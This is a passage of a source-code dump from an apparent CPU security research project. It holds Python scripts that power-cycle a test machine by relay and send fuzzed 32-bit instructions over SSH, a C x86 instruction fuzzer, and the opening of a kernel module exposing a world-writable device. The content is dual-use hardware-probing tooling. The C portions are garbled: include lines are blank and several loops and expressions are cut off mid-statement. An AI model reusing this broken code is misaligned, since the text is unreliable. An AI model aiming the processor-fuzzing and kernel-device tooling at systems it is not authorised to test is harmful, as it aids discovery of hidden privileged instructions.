138 | retry = True
139 | time.sleep(5) # don't spam the device
140 | except socket.timeout as e:
141 | # we successfully connected and launched a command, but the
142 | # device restarted
143 | device.dprint("except %s" % e)
144 | retry = False
145 | except:
146 | device.dprint("generic exception")
147 | e = sys.exc_info()[0]
148 | device.dprint("except %s" % e)
149 | retry = True
150 | finally:
151 | client.close()
152 |
153 | SIM or power.power_off(device.relay)
154 |
155 | # target device seems to (sometimes) not recognize the power on, if not
156 | # enough time has elapsed after the shut down
157 | time.sleep(10) # needs to be large
158 |
159 | end = time.time()
160 |
161 | device.dprint("! round %d, %.2f seconds" % (on_round, end - start))
162 |
163 | if __name__ == "__main__":
164 | indent.initialize_indent()
165 |
166 | SIM or power.initialize_power()
167 |
168 | threads = []
169 |
170 | print "launching tasks"
171 | for s in systems:
172 | t = Thread(target=task, args=(s,))
173 | threads.append(t)
174 | t.start()
175 | time.sleep(2)
176 | print "completed task launch"
177 |
178 | for t in threads:
179 | t.join()
180 |
--------------------------------------------------------------------------------
/fuzz/manager/fuzz_exit.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import paramiko
3 | import time
4 | import socket
5 | import random
6 | import collections
7 |
8 | import power.power as power
9 | import util.indent as indent
10 | import generator
11 | from device.device import Device
12 |
13 | TASK_TIME = 3 # seconds
14 | PING_TIME = 1 # seconds
15 |
16 | USERNAME = "user"
17 | PASSWORD = "password"
18 | COMMAND = "~/_research/rosenbridge/fuzz/exit/fuzz_exit.sh"
19 |
20 | SIM = False
21 |
22 | systems = [Device(0, "192.168.3.169", "unknown")]
23 |
24 | if SIM:
25 | systems = [Device(0, "localhost", "unknown")]
26 | USERNAME = "deltaop"
27 | PASSWORD = "xxx"
28 |
29 | #TODO: maybe alternate between strategies? the strategy needs to be integrated
30 | # into the master generator, so that each instruction is tried with both
31 | # strategies
32 | JUMP_STRATEGY = 2
33 |
34 | #TODO: want to be able to assign a device to a specific SHARED strategy ...
35 | # that is, we're not generating data for just that device, we generate it for a
36 | # strategy, and then many devices can pull from that data
37 | strategy_set_0 = [
38 | #generator.strategy_left_bits(),
39 | #generator.strategy_right_bits(),
40 | generator.strategy_edge_bits(),
41 | #generator.strategy_random_bits(),
42 | #generator.strategy_random_right_bits(),
43 | #generator.strategy_random_left_bits(),
44 | #generator.strategy_random_edge_bits(),
45 | ]
46 |
47 | def strategy_set(ss):
48 | while True:
49 | for s in ss:
50 | yield s.next()
51 |
52 | #TODO: enlarge this, probably
53 | #TODO: is it better to shuffle the instruction set after it is generated? i'm
54 | # worried that e.g. one pattern of bits (e.g. first 4 bits 0) will all fail, so
55 | # you'll have long runs of completely failing on the first instruction.
56 | # randomizing gets around this. << it's better IF you think all instructions in
57 | # your set are equally 'good'. if the set deteriorates as it goes, then you
58 | # don't want to shuffle.
59 | INSTRUCTIONS = 200000 # optimized for fuzzing edge bits
60 | def generate_instructions():
61 | print "generating instructions..."
62 | s = strategy_set(strategy_set_0)
63 | i = [next(s) for _ in xrange(INSTRUCTIONS)]
64 | i = list(collections.OrderedDict.fromkeys(i))
65 | print "...done"
66 | return i
67 | instructions = generate_instructions()
68 | on_instruction = 0
69 |
70 | #TODO: probably enlarge this too
71 | RUN_INSTRUCTIONS = 1000
72 | def generate_run(device):
73 | # a run consists of the top instruction in the instruction list, and a
74 | # random RUN_INSTRUCTIONS-1 instructions following it
75 | global on_instruction
76 | device.dprint("generating run...")
77 | r = [instructions[on_instruction]]
78 | r.extend(random.sample(instructions[on_instruction+1:], RUN_INSTRUCTIONS-1))
79 | on_instruction = on_instruction + 1
80 | device.dprint("...done")
81 | return r
82 |
83 | def device_up(device):
84 | import os
85 | device.dprint("pinging %s" % device.ip)
86 | response = os.system("timeout 1 ping -c 1 " + device.ip + " > /dev/null 2>&1")
87 | return response == 0
88 |
89 | # assumes device is powered off
90 | def task(device):
91 | on_round = 0
92 | while True:
93 | on_round = on_round + 1
94 | start = time.time()
95 | SIM or power.power_on(device.relay)
96 |
97 | while not device.up:
98 | time.sleep(PING_TIME)
99 | device.up = device_up(device)
100 |
101 | device.dprint("device up")
102 |
103 | retry = True
104 | while retry:
105 | try:
106 | device.dprint("connecting to device")
107 |
108 | device.dprint("(debug) create client")
109 | client = paramiko.SSHClient()
110 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
111 |
112 | device.dprint("(debug) connect")
113 | client.connect(device.ip, port=22, username=USERNAME, password=PASSWORD)
114 |
115 | device.dprint("(debug) exec")
116 | stdin, stdout, stderr = client.exec_command(
117 | COMMAND,
118 | timeout=TASK_TIME,
119 | get_pty=True
120 | )
121 |
122 | device.dprint("=============== connected ===============")
123 | for l in iter(lambda: stdout.readline().strip(), ""):
124 | device.dprint("% " + l)
125 | if l == ">":
126 | break
127 | device.dprint("================= done. =================")
128 |
129 | device.dprint("(debug) generating run")
130 | r = generate_run(device)
131 |
132 | device.dprint("(debug) selecting jump strategy")
133 | j = JUMP_STRATEGY
134 | device.dprint("(debug) selected jump strategy %d" % j)
135 |
136 | device.dprint("(debug) sending test cases")
137 | stdin.write("%d\n" % j)
138 | for t in r:
139 | stdin.write("%08x\n" % t)
140 | stdin.write("-\n")
141 |
142 | device.dprint("=============== log ===============")
143 | for l in iter(lambda: stdout.readline().strip(), ""):
144 | device.dprint("% " + l)
145 | #if l == ">":
146 | # break
147 | device.dprint("=============== end ===============")
148 |
149 | retry = False
150 | except socket.error as e:
151 | # the device is not yet up
152 | device.dprint("except %s" % e)
153 | device.dprint("(retrying)")
154 | retry = True
155 | except socket.timeout as e:
156 | # we successfully connected and launched a command, but the
157 | # device restarted
158 | device.dprint("except %s" % e)
159 | retry = False
160 | except:
161 | device.dprint("generic exception")
162 | e = sys.exc_info()[0]
163 | device.dprint("except %s" % e)
164 | retry = True
165 | finally:
166 | client.close()
167 |
168 | #TODO: if the device freezes, does holding down power cause a reboot or
169 | # a power off?
170 | SIM or power.power_off(device.relay)
171 |
172 | time.sleep(1)
173 |
174 | end = time.time()
175 |
176 | device.dprint("! round %d, %.2f seconds" % (on_round, end - start))
177 |
178 | if __name__ == "__main__":
179 | indent.initialize_indent()
180 |
181 | SIM or power.initialize_power()
182 |
183 | '''
184 | print "powering on systems..."
185 | for s in systems:
186 | power.power_on(s.relay)
187 | print "...done"
188 |
189 | print "waiting for systems..."
190 | while any(not s.up for s in systems):
191 | for s in systems:
192 | if not s.up:
193 | s.up = device_up(s)
194 | print "...done"
195 |
196 | time.sleep(5)
197 |
198 | print "powering off systems..."
199 | for s in systems:
200 | power.power_off(s.relay)
201 | print "...done"
202 | '''
203 |
204 | task(systems[0])
205 |
--------------------------------------------------------------------------------
/fuzz/manager/generator.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | MAX_INS = 0xffffffff
4 | HALF_INS = 0xffff
5 |
6 | def strategy_left_bits():
7 | i = 0
8 | while i <= MAX_INS:
9 | yield int('{:032b}'.format(i)[::-1], 2)
10 | i = i + 1
11 |
12 | def strategy_right_bits():
13 | i = 0
14 | while i <= MAX_INS:
15 | yield i
16 | i = i + 1
17 |
18 | def strategy_edge_bits():
19 | # this is a good way to evenly explore both sides, with no repeated cases
20 | # or missing values - iterate over sums equal to incrementing value
21 | yield 0
22 | i = 1
23 | while i <= 2 * HALF_INS:
24 | for k in xrange(i + 1):
25 | yield int('{:032b}'.format(i-k)[::-1], 2) | k
26 | i = i + 1
27 |
28 | def strategy_random_bits():
29 | while True:
30 | yield random.randint(0, MAX_INS)
31 |
32 | def strategy_random_left_bits():
33 | while True:
34 | v = 0
35 | for i in xrange(32):
36 | b = 0
37 | if random.random() < .5 * (32 - i) / 32.0:
38 | b = 1
39 | v = (v<<1) | b
40 | yield v
41 |
42 | def strategy_random_right_bits():
43 | while True:
44 | v = 0
45 | for i in xrange(32):
46 | b = 0
47 | if random.random() < .5 * (32 - i) / 32.0:
48 | b = 1
49 | v = (v>>1) | (b<<31)
50 | yield v
51 |
52 | def strategy_random_edge_bits():
53 | while True:
54 | v_1 = 0
55 | for i in xrange(16):
56 | b = 0
57 | if random.random() < .5 * (16 - i) / 16.0:
58 | b = 1
59 | v_1 = (v_1>>1) | (b<<31)
60 | v_1 = v_1 >> 16
61 | v_2 = 0
62 | for i in xrange(16):
63 | b = 0
64 | if random.random() < .5 * (16 - i) / 16.0:
65 | b = 1
66 | v_2 = (v_2<<1) | b
67 | v_2 = v_2 << 16
68 | yield v_1 ^ v_2
69 |
70 | def strategy_all():
71 | strategies = [
72 | strategy_left_bits(),
73 | strategy_right_bits(),
74 | strategy_edge_bits(),
75 | strategy_random_bits(),
76 | strategy_random_right_bits(),
77 | strategy_random_left_bits(),
78 | strategy_random_edge_bits(),
79 | ]
80 | while True:
81 | for s in strategies:
82 | yield s.next()
83 |
--------------------------------------------------------------------------------
/fuzz/manager/power/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/fuzz/manager/power/__init__.py
--------------------------------------------------------------------------------
/fuzz/manager/power/power.py:
--------------------------------------------------------------------------------
1 | from relay_ftdi import *
2 | import time
3 | import sys
4 |
5 | RELEASE_TIME = .5
6 | ON_TIME = 1
7 | OFF_TIME = 6
8 |
9 | def initialize_power():
10 | #open_serial()
11 | #reset_device()
12 | pass
13 |
14 | def power_on(device):
15 | print "powering on device %d..." % device
16 | close_relay(device)
17 | time.sleep(RELEASE_TIME)
18 | open_relay(device)
19 | time.sleep(ON_TIME)
20 | close_relay(device)
21 | print "...done"
22 |
23 | def power_off(device):
24 | print "shutting down device %d..." % device
25 | close_relay(device)
26 | time.sleep(RELEASE_TIME)
27 | open_relay(device)
28 | time.sleep(OFF_TIME)
29 | close_relay(device)
30 | print "...done"
31 |
32 | if __name__ == "__main__":
33 | initialize_power()
34 | power_on(int(sys.argv[1]))
35 | time.sleep(5)
36 | power_off(int(sys.argv[1]))
37 |
--------------------------------------------------------------------------------
/fuzz/manager/power/relay_ftdi.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # this utility serves the same purpose as relay_serial.py, but uses the
4 | # pylibftdi driver to control the relays. it seems to work fairly well across
5 | # different systems.
6 |
7 | from pylibftdi import Driver
8 | from pylibftdi import BitBangDevice
9 |
10 | #import struct
11 | import sys
12 | import time
13 |
14 | DEVICE="AI053AH4"
15 |
16 | RELAYS = 8
17 |
18 | relay_state = [0] * RELAYS
19 |
20 | s = None
21 |
22 | def list_devices():
23 | print "Vendor\t\tProduct\t\t\tSerial"
24 | dev_list = []
25 | for device in Driver().list_devices():
26 | device = map(lambda x: x.decode('latin1'), device)
27 | vendor, product, serial = device
28 | print "%s\t\t%s\t\t%s" % (vendor, product, serial)
29 |
30 | def set_relays():
31 | print "setting relay state..."
32 | k = 0
33 | for i in xrange(RELAYS):
34 | k = k | (relay_state[i] << i)
35 | #k = struct.pack("B", k)
36 |
37 | try:
38 | with BitBangDevice(DEVICE) as bb:
39 | bb.port = k
40 | except Exception, err:
41 | print "Error: " + str(err)
42 | sys.exit(1)
43 |
44 | print "...done"
45 |
46 | def open_relay(relay):
47 | print "opening relay %d..." % relay
48 | relay_state[relay] = 1
49 | set_relays()
50 | print "...done"
51 |
52 | def close_relay(relay):
53 | print "closing relay %d..." % relay
54 | relay_state[relay] = 0
55 | set_relays()
56 | print "...done"
57 |
58 | if __name__ == "__main__":
59 | relay = 0
60 | delay = 1
61 |
62 | if len(sys.argv) > 1:
63 | relay = int(sys.argv[1])
64 | if len(sys.argv) > 2:
65 | delay = int(sys.argv[2])
66 |
67 | open_relay(relay)
68 | time.sleep(delay)
69 | close_relay(relay)
70 | time.sleep(1)
71 |
--------------------------------------------------------------------------------
/fuzz/manager/power/relay_serial.py:
--------------------------------------------------------------------------------
1 | # this utility controls the attached relays
2 | # it seems to be fickle (works on some systems, not others), may depend on exact
3 | # version of libftdi installed?
4 |
5 | # if this fails, unplug and replug
6 | # if still fails, use ./drcontrol.py -l
7 | # and
8 | # ./drcontrol/trunk/drcontrol.py -d AI053AH4 -c off -r all -v
9 | # ./drcontrol/trunk/drcontrol.py -d AI053AH4 -c on -r all -v
10 | # seemed to get everything happy
11 |
12 | import serial
13 | import time
14 | import struct
15 |
16 | from pylibftdi import Driver
17 |
18 | DEVICE = "/dev/ttyUSB0"
19 | BAUD = 9600
20 | BYTE_SIZE = serial.EIGHTBITS
21 | PARITY = serial.PARITY_NONE
22 | STOP_BITS = serial.STOPBITS_ONE
23 |
24 | PRODUCT = "FT245R USB FIFO"
25 | RELAYS = 8
26 |
27 | relay_state = [0] * RELAYS
28 |
29 | s = None
30 |
31 | def open_serial():
32 | global s
33 | print "opening serial..."
34 | s = serial.Serial(
35 | port=DEVICE,
36 | baudrate=BAUD,
37 | bytesize=BYTE_SIZE,
38 | parity=PARITY,
39 | stopbits=STOP_BITS,
40 | timeout=None
41 | )
42 | if s.isOpen():
43 | print "...done"
44 | else:
45 | print "FAILURE"
46 | exit(1)
47 |
48 | def set_relays():
49 | print "setting relay state..."
50 | k = 0
51 | for i in xrange(RELAYS):
52 | k = k | (relay_state[i] << i)
53 | k = struct.pack("B", k)
54 | s.write([k, k])
55 | print "...done"
56 |
57 | def open_relay(relay):
58 | print "opening relay %d..." % relay
59 | relay_state[relay] = 1
60 | set_relays()
61 | print "...done"
62 |
63 | def close_relay(relay):
64 | print "closing relay %d..." % relay
65 | relay_state[relay] = 0
66 | set_relays()
67 | print "...done"
68 |
69 | def retry():
70 | # mostly so that output indentation is handled by our wrapper
71 | print "... retrying ..."
72 |
73 | def reset_device():
74 | print "locating device..."
75 | found = False
76 | while not found:
77 | for device in Driver().list_devices():
78 | device = map(lambda x: x.decode('latin1'), device)
79 | vendor, product, serial = device
80 | print product
81 | if product == PRODUCT:
82 | found = True
83 | break
84 | else:
85 | retry()
86 | print "...done"
87 |
88 | if __name__ == "__main__":
89 | open_serial()
90 | reset_device()
91 | open_relay(0)
92 | time.sleep(1)
93 | close_relay(0)
94 | time.sleep(1)
95 |
--------------------------------------------------------------------------------
/fuzz/manager/repeat_fuzz_deis.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | python fuzz_deis.py
3 | python fuzz_deis.py
4 | python fuzz_deis.py
5 | python fuzz_deis.py
6 | python fuzz_deis.py
7 | python fuzz_deis.py
8 | python fuzz_deis.py
9 | python fuzz_deis.py
10 | python fuzz_deis.py
11 | python fuzz_deis.py
12 | python fuzz_deis.py
13 | python fuzz_deis.py
14 | python fuzz_deis.py
15 | python fuzz_deis.py
16 | python fuzz_deis.py
17 | python fuzz_deis.py
18 | python fuzz_deis.py
19 | python fuzz_deis.py
20 | python fuzz_deis.py
21 | python fuzz_deis.py
22 | python fuzz_deis.py
23 | python fuzz_deis.py
24 | python fuzz_deis.py
25 | python fuzz_deis.py
26 | python fuzz_deis.py
27 | python fuzz_deis.py
28 | python fuzz_deis.py
29 | python fuzz_deis.py
30 | python fuzz_deis.py
31 | python fuzz_deis.py
32 | python fuzz_deis.py
33 | python fuzz_deis.py
34 | python fuzz_deis.py
35 | python fuzz_deis.py
36 | python fuzz_deis.py
37 | python fuzz_deis.py
38 | python fuzz_deis.py
39 | python fuzz_deis.py
40 | python fuzz_deis.py
41 | python fuzz_deis.py
42 | python fuzz_deis.py
43 | python fuzz_deis.py
44 | python fuzz_deis.py
45 | python fuzz_deis.py
46 | python fuzz_deis.py
47 | python fuzz_deis.py
48 | python fuzz_deis.py
49 | python fuzz_deis.py
50 | python fuzz_deis.py
51 | python fuzz_deis.py
52 |
--------------------------------------------------------------------------------
/fuzz/manager/util/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/fuzz/manager/util/__init__.py
--------------------------------------------------------------------------------
/fuzz/manager/util/indent.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import inspect
3 |
4 | class AutoIndent(object):
5 | def __init__(self, stream, depth=len(inspect.stack())):
6 | self.stream = stream
7 | self.depth = depth
8 |
9 | def indent_level(self):
10 | return len(inspect.stack()) - self.depth
11 |
12 | def write(self, data):
13 | indentation = ' ' * self.indent_level()
14 | def indent(l):
15 | if l:
16 | return indentation + l
17 | else:
18 | return l
19 | data = '\n'.join([indent(line) for line in data.split('\n')])
20 | self.stream.write(data)
21 |
22 | def initialize_indent():
23 | sys.stdout = AutoIndent(sys.stdout)
24 |
25 |
--------------------------------------------------------------------------------
/fuzz/manager/watch_sessions.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | NAME = "monitor"
4 | clients = [0, 1, 2, 3, 4, 5, 6, 7]
5 |
6 | screen = ""
7 |
8 | WIDTH = 4
9 | HEIGHT = 2
10 |
11 | with open("tmp", "w") as f:
12 |
13 | f.write("sorendition wK\n") # white on bold black
14 |
15 | for _ in xrange(HEIGHT - 1):
16 | f.write("split\n");
17 |
18 | for _ in xrange(HEIGHT):
19 | for _ in xrange(WIDTH - 1):
20 | f.write("split -v\n")
21 | f.write("focus down\n")
22 |
23 | f.write("focus top\n")
24 |
25 | for c in clients:
26 | f.write("screen -t %s tail -f device_%d.log\n" % (c, c))
27 | f.write("focus\n") # focus to next region
28 |
29 | os.system("screen -c tmp")
30 |
--------------------------------------------------------------------------------
/fuzz/wrap/Makefile:
--------------------------------------------------------------------------------
1 | all: bin/fuzz_wrapper
2 |
3 | bin/fuzz_wrapper: fuzz_wrapper.c
4 | mkdir -p bin
5 | gcc -m32 fuzz_wrapper.c -o bin/fuzz_wrapper -l:libcapstone.a
6 |
7 | clean:
8 | rm -f bin/*
9 |
--------------------------------------------------------------------------------
/fuzz/wrap/fuzz_wrapper.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | #include
23 |
24 | //TODO: maybe a solution is to simply fuzz 1 byte at a time... pick a first
25 | //byte, fuzz that for 100k instructions, see what happens. then pick a new
26 | //first byte, repeat. helps to separate out effects - no more uncertainty about
27 | //who caused the corruption.
28 |
29 | //TODO: unicorn support
30 | //TODO: mmx registers
31 | //TODO: alternatively to unicorn ... could try running the same thing with that
32 | //bit disabled, and comparing system states ... it's probably faster and more
33 | //reliable than unicorn, with the downside of risking that turning that bit off
34 | //doesn't really switch it out of the special state
35 | //*could even fork, execute one version with bit off one with bit on, and
36 | //compare MEMORY state too
37 | //TODO: could profile really quickly to see where you waste your time, should be
38 | //able to get many more tests
39 |
40 | #define DEBUG 0
41 | #define GDB 0
42 |
43 | csh capstone_handle;
44 | cs_insn *capstone_insn;
45 |
46 | #define STR(x) #x
47 | #define XSTR(x) STR(x)
48 |
49 | //#define START_PREFIX 0x6200 /* temp - don't want to start all over */
50 | //#define PREFIX_LENGTH 2
51 | #define START_PREFIX 0x620400 /* temp - don't want to start all over */
52 | #define PREFIX_LENGTH 3
53 |
54 | #if 0
55 | #define TICK_MASK 0xf /* 0xfff */
56 | #define PREFIX_TICK 100 /* 10000 */
57 | #endif
58 | //#define TICK_MASK 0xff /* 0xfff */
59 | #define TICK_MASK 1 /* 0xfff */
60 | //#define PREFIX_TICK 10000 /* 10000 */
61 | #define PREFIX_TICK 10000 /* 10000 */
62 | #define TIMEOUT 10000
63 | #define KILL 1
64 |
65 | #define UD2_SIZE 2
66 | #define PAGE_SIZE 4096
67 | #define TF 0x100
68 |
69 | typedef struct {
70 | uint32_t eax;
71 | uint32_t ebx;
72 | uint32_t ecx;
73 | uint32_t edx;
74 | uint32_t esi;
75 | uint32_t edi;
76 | uint32_t ebp;
77 | uint32_t esp;
78 | } state_t;
79 | state_t inject_state={
80 | .eax=0,
81 | .ebx=0,
82 | .ecx=0,
83 | .edx=0,
84 | .esi=0,
85 | .edi=0,
86 | .ebp=0,
87 | .esp=0,
88 | };
89 |
90 | struct {
91 | uint64_t dummy_stack_hi[256];
92 | uint64_t dummy_stack_lo[256];
93 | } dummy_stack __attribute__ ((aligned(PAGE_SIZE)));
94 |
95 | void* packet;
96 |
97 | static char stack[SIGSTKSZ];
98 | stack_t ss = { .ss_size = SIGSTKSZ, .ss_sp = stack, };
99 |
100 | #define MAX_INSN_LENGTH 15 /* actually 15 */
101 |
102 | /* fault handler tries to use fault address to make an initial guess of
103 | * instruction length; but length of jump instructions can't be determined from
104 | * trap alone */
105 | /* set to this if something seems wrong */
106 | #define JMP_LENGTH 16
107 |
108 | typedef struct {
109 | uint8_t bytes[MAX_INSN_LENGTH];
110 | int len; /* the number of specified bytes in the instruction */
111 | } insn_t;
112 | insn_t insn;
113 |
114 | mcontext_t fault_context;
115 |
116 | typedef struct __attribute__ ((packed)) {
117 | uint32_t valid;
118 | uint32_t signum;
119 | uint32_t si_code;
120 | uint32_t addr;
121 | } result_t;
122 | result_t result;
123 |
124 | /* functions */
125 |
126 | void preamble(void);
127 | void inject(void);
128 | void state_handler(int, siginfo_t*, void*);
129 | void fault_handler(int, siginfo_t*, void*);
130 | void configure_sig_handler(void (*)(int, siginfo_t*, void*));
131 | void generate_instruction(void);
132 | unsigned long long llrand(void);
133 | void initialize_state(void);
134 | void fuzz(void);
135 | bool is_prefix(uint8_t);
136 | bool has_opcode(uint8_t*);
137 | bool has_prefix(uint8_t*);
138 |
139 | extern char debug, resume, preamble_start, preamble_end;
140 |
141 | uint64_t* counter; /* shared */
142 | uint64_t* prefix; /* shared */
143 |
144 | /* blacklists */
145 |
146 | #define MAX_BLACKLIST 128
147 |
148 | typedef struct {
149 | char* opcode;
150 | char* reason;
151 | } ignore_op_t;
152 |
153 | ignore_op_t opcode_blacklist[MAX_BLACKLIST]={
154 | //{ "\x62", "bound" }, /* suspect */
155 | { "\x71", "jcc" }, /* temp, causing too many kills */
156 | { "\x72", "jcc" },
157 | { "\x73", "jcc" },
158 | { "\x74", "jcc" },
159 | { "\x75", "jcc" },
160 | { "\x76", "jcc" },
161 | { "\x77", "jcc" },
162 | { "\x78", "jcc" },
163 | { "\x79", "jcc" },
164 | { "\x7a", "jcc" },
165 | { "\x7b", "jcc" },
166 | { "\x7c", "jcc" },
167 | { "\x7d", "jcc" },
168 | { "\x7e", "jcc" },
169 | { "\x7f", "jcc" },
170 | { "\xcd\x80", "int80" },
171 | { "\xdf", "float" }, /* suspect */
172 | { "\xdb", "float" }, /* suspect */
173 | { "\xde", "fdivp" }, /* suspect */
174 | { "\xe2", "loop" }, /* causing too many kills */
175 | { "\xeb", "jmp" }, /* causing too many kills */
176 | { NULL, NULL }
177 | };
178 |
179 | void initialize_capstone(void)
180 | {
181 | if (cs_open(CS_ARCH_X86, CS_MODE_32, &capstone_handle) != CS_ERR_OK) {
182 | exit(1);
183 | }
184 | capstone_insn = cs_malloc(capstone_handle);
185 | }
186 |
187 | int get_instruction_length(void)
188 | {
189 | uint8_t* code=insn.bytes;
190 | size_t code_size=MAX_INSN_LENGTH;
191 | uint64_t address=(uintptr_t)packet;
192 |
193 | if (cs_disasm_iter(
194 | capstone_handle,
195 | (const uint8_t**)&code,
196 | &code_size,
197 | &address,
198 | capstone_insn)
199 | ) {
200 | /*
201 | printf(
202 | "%10s %-45s (%2d)",
203 | capstone_insn[0].mnemonic,
204 | capstone_insn[0].op_str,
205 | (int)(address-(uintptr_t)packet)
206 | );
207 | */
208 | }
209 | return (int)(address-(uintptr_t)packet);
210 | }
211 |
212 | /* this becomes hairy with "mandatory prefix" instructions */
213 | bool is_prefix(uint8_t x)
214 | {
215 | return
216 | x==0xf0 || /* lock */
217 | x==0xf2 || /* repne / bound */
218 | x==0xf3 || /* rep */
219 | x==0x2e || /* cs / branch taken */
220 | x==0x36 || /* ss / branch not taken */
221 | x==0x3e || /* ds */
222 | x==0x26 || /* es */
223 | x==0x64 || /* fs */
224 | x==0x65 || /* gs */
225 | x==0x66 || /* data */
226 | x==0x67 /* addr */
227 | #if __x86_64__
228 | || (x>=0x40 && x<=0x4f) /* rex */
229 | #endif
230 | ;
231 | }
232 |
233 | //TODO: can't blacklist 00
234 | bool has_opcode(uint8_t* op)
235 | {
236 | int i, j;
237 | for (i=0; i=MAX_INSN_LENGTH || op[j]!=insn.bytes[i+j]) {
242 | return false;
243 | }
244 | j++;
245 | } while (op[j]);
246 |
247 | return true;
248 | }
249 | }
250 | return false;
251 | }
252 |
253 | //TODO: can't blacklist 00
254 | bool has_prefix(uint8_t* pre)
255 | {
256 | int i, j;
257 | for (i=0; ibytes); i++) {
278 | printf("%02x", insn->bytes[i]);
279 | }
280 | printf("\n");
281 | fflush(stdout);
282 | }
283 |
284 | /* gcc doesn't allow naked inline, i hate it */
285 | void preamble(void)
286 | {
287 | __asm__ __volatile__ ("\
288 | .global preamble_start \n\
289 | preamble_start: \n\
290 | pushfl \n\
291 | orl %0, (%%esp) \n\
292 | popfl \n\
293 | .global preamble_end \n\
294 | preamble_end: \n\
295 | "
296 | :
297 | :"i"(TF)
298 | );
299 | }
300 |
301 | unsigned long long llrand(void)
302 | {
303 | int i;
304 | unsigned long long r=0;
305 | for (i=0; i<5; ++i) {
306 | r = (r<<15)|(rand()&0x7FFF);
307 | }
308 | return r&0xFFFFFFFFFFFFFFFFULL;
309 | }
310 |
311 | void initialize_state(void)
312 | {
313 | inject_state=(state_t){
314 | .eax=llrand(),
315 | .ebx=llrand(),
316 | .ecx=llrand(),
317 | .edx=llrand(),
318 | .esi=llrand(),
319 | .edi=llrand(),
320 | .ebp=llrand(),
321 | /* .esp=llrand(), */
322 | .esp=(uintptr_t)&dummy_stack.dummy_stack_lo,
323 | };
324 | }
325 |
326 | uint8_t cleanup[]={0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x0f, 0x0b};
327 |
328 | void inject(void)
329 | {
330 | int i;
331 | int preamble_length=(&preamble_end-&preamble_start);
332 | static bool have_state=false;
333 |
334 | initialize_state();
335 |
336 | //TODO: testing without preamble
337 | preamble_length=0;
338 |
339 | for (i=0; iuc_mcontext;
415 | ((ucontext_t*)p)->uc_mcontext.gregs[REG_EIP]+=UD2_SIZE;
416 | }
417 |
418 | void fault_handler(int signum, siginfo_t* si, void* p)
419 | {
420 | int insn_length;
421 | ucontext_t* uc=(ucontext_t*)p;
422 |
423 | result=(result_t){
424 | 1,
425 | signum,
426 | si->si_code,
427 | (signum==SIGSEGV||signum==SIGBUS)?(uint32_t)(uintptr_t)si->si_addr:(uint32_t)-1
428 | };
429 |
430 | memcpy(uc->uc_mcontext.gregs, fault_context.gregs, sizeof(fault_context.gregs));
431 | uc->uc_mcontext.gregs[REG_EIP]=(uintptr_t)&resume;
432 | uc->uc_mcontext.gregs[REG_EFL]&=~TF;
433 | }
434 |
435 | void configure_sig_handler(void (*handler)(int, siginfo_t*, void*))
436 | {
437 | struct sigaction s;
438 |
439 | s.sa_sigaction=handler;
440 | s.sa_flags=SA_SIGINFO|SA_ONSTACK;
441 |
442 | sigfillset(&s.sa_mask);
443 |
444 | sigaction(SIGILL, &s, NULL);
445 | sigaction(SIGSEGV, &s, NULL);
446 | sigaction(SIGFPE, &s, NULL);
447 | sigaction(SIGBUS, &s, NULL);
448 | sigaction(SIGTRAP, &s, NULL);
449 | }
450 |
451 | void generate_instruction(void)
452 | {
453 | int i, l;
454 |
455 | (*counter)++;
456 | if ((*counter)%PREFIX_TICK==0) {
457 | (*prefix)++;
458 | printf(">> %04x\n", *prefix);
459 | fflush(stdout);
460 | }
461 |
462 | for (i=0; i>(8*(PREFIX_LENGTH-i-1)))&0xff;
468 | }
469 |
470 | l=get_instruction_length();
471 | for (i=l; i
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 | #include "deis_kernel.h"
19 |
20 | #define DEBUG 0
21 |
22 | #if DEBUG
23 | #define msg(m, ...) { printk(KERN_INFO "(%s)>> " m, device_name, ##__VA_ARGS__); }
24 | #else
25 | #define msg(m, ...)
26 | #endif
27 |
28 | #define BUFFER_SIZE 32
29 | unsigned char buffer[BUFFER_SIZE];
30 |
31 | static const char device_name[]="deis_kernel";
32 |
33 | static dev_t deis_kernel_devno;
34 | static struct cdev deis_kernel_cdev;
35 | static struct class *deis_kernel_class;
36 |
37 | static long deis_kernel_ioctl(
38 | struct file* file,
39 | unsigned int cmd,
40 | unsigned long val
41 | );
42 |
43 | static const struct file_operations fops={
44 | .owner = THIS_MODULE,
45 | .unlocked_ioctl = deis_kernel_ioctl
46 | };
47 |
48 | static void reset_buffer(void)
49 | {
50 | int i;
51 | for (i=0; idevt == MKDEV(TTYAUX_MAJOR, 0) ||
94 | dev->devt == MKDEV(TTYAUX_MAJOR, 2))
95 | */
96 | *mode=0666;
97 | return NULL;
98 | }
99 |
100 | static int register_device(void)
101 | {
102 | int result;
103 | struct device *dev_ret;
104 |
105 | reset_buffer();
106 |
107 | if ((result=alloc_chrdev_region(&deis_kernel_devno, 0, 1, device_name)) < 0) {
108 | return result;
109 | }
110 |
111 | if (IS_ERR(deis_kernel_class=class_create(THIS_MODULE, device_name))) {
112 | unregister_chrdev_region(deis_kernel_devno, 1);
113 | return PTR_ERR(deis_kernel_class);
114 | }
115 | deis_kernel_class->devnode=deis_kernel_devnode;
116 | if (IS_ERR(dev_ret=device_create(deis_kernel_class, NULL, deis_kernel_devno, NULL, device_name))) {
117 | class_destroy(deis_kernel_class);
118 | unregister_chrdev_region(deis_kernel_devno, 1);
119 | return PTR_ERR(dev_ret);
120 | }
121 |
122 | cdev_init(&deis_kernel_cdev, &fops);
